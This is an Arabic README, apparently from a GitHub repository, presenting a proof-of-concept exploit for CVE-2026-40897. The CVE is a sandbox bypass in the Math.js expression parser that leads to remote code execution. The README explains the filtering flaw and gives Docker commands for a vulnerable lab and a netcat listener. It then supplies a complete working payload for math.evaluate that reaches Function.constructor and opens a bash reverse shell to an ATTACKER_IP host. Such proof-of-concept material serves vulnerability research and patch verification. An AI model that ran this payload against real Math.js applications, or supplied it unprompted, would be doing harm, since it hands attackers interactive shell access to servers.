
إثبات مفهوم للاستغلال الخاص بـ CVE-2026-40897، وهو تجاوز لبيئة الحماية في محلل تعبيرات Math.js يتيح تنفيذ التعليمات البرمجية عن بُعد عبر حمولات مُصممة خصيصًا ومختبر Docker.
★ CVE-2026-40897 تنفيذ تعليمات برمجية عن بُعد في Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 هو ثغرة تجاوز الحماية (Sandbox Bypass) تؤدي إلى تنفيذ تعليمات برمجية عن بُعد في محلل التعبيرات الخاص بـ Math.js. يقوم مرشح
isSafePropertyبفحص الوصول إلى الخصائص من تعبيرات المستخدم فقط، وليس من مسارات الكود الداخلية. من خلال تسريب المصفوفة الداخلية لـArrayNodeعبرtoJSON()والكتابة فوق.mapالخاصة بها، يمكن للمهاجم إجبار الكود الداخلي على الوصول إلىFunction.constructorوتنفيذ JavaScript عشوائي.
| الفئة | الإصدار |
|---|---|
| المتأثرة | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| المُصحّحة | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
بعد تشغيل البيئة المتأثرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.
nc -lvnp 4444
أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، من خلال حقل إدخال الحساب في التطبيق).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
يتصل الخادم المستهدف مرة أخرى بمستمع المهاجم، مما يمنح shell bash تفاعلي.
math.evaluate()reviver، FunctionAssignmentNode، ArrayNode) عبر محلل التعبيرات